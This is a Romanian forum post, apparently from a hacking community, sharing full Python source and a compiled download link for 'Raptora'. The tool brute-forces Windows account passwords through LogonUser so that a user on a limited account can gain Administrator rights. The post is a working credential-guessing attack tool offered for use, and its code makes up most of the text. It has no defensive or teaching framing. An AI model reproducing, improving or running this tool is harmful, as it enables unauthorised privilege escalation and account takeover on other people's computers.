Salut. Raptora este un brute forcer pentru orice cont de Windows. Mai explicit, este pentru atunci cand aveti acces la un calculator pe un user limitat, si va doriti sa aveti drepturi de Administrator. Programul este foarte simplu, va intreaba care user vreti sa il incercati, va intreaba care fisier de parole vreti sa il folositi, apoi isi incepe treaba. Daca a gasit ceva bun, va afisa pe ecran SUCCESS: userul si parola. Am reusit sa il fac sa mearga si cu parole goale ( BLANK ). Este foarte rapid, pe un cpu decent, adica dual core in sus, cu aproape 1000 parole/secunda. Evitati sa specificati userul cu litere mari sau cu prima litera mare. Exemplu: folositi administrator in loc de Administrator. Daca aveti vreo idee pentru imbunatatire, sunt deschid la idei noi. Mai jos este codul sursa [Python] ################################## ##Windows Login Brute Force tool## ## Coded by BRENIN@RST ## ## Jabber: obelix@creep.im ## ################################## def verify_success(username, password): from win32security import LogonUser from win32con import LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT if password == 'BLANK': try: password = "" LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT) return True except Exception, e: if "blank passwords" in str(e): return True else: return False else: try: LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT) return True except Exception, e: return False u = raw_input('Enter the username you want to brute: ') fis = raw_input('Enter the password_list file: ') pwds = open(fis,'rU') passwds = pwds.readlines() for password in passwds: if password.rstrip() == "%user%": password = u.rstrip() if password.rstrip() == "%user%1": password = u.rstrip()+'1' if password.rstrip() == "%user%12": password = u.rstrip()+'12' if password.rstrip() == "%user%123": password = u.rstrip()+'123' if verify_success(u, password.rstrip()): print 'SUCCESS: => USERNAME: '+u+' '+'PASSWORD: '+password.rstrip() break else: print '[+]Trying: '+u+' '+password.rstrip() Mai jos este o varianta compilata cu py2exe pentru windows: https://mega.co.nz/#!EcEGXBLL!eiuSH2n0yh__ZIccVeKTuw3TWrUIXA1DoyuUPnQHsJ8 Astept idei pentru imbunatatire. Multumesc!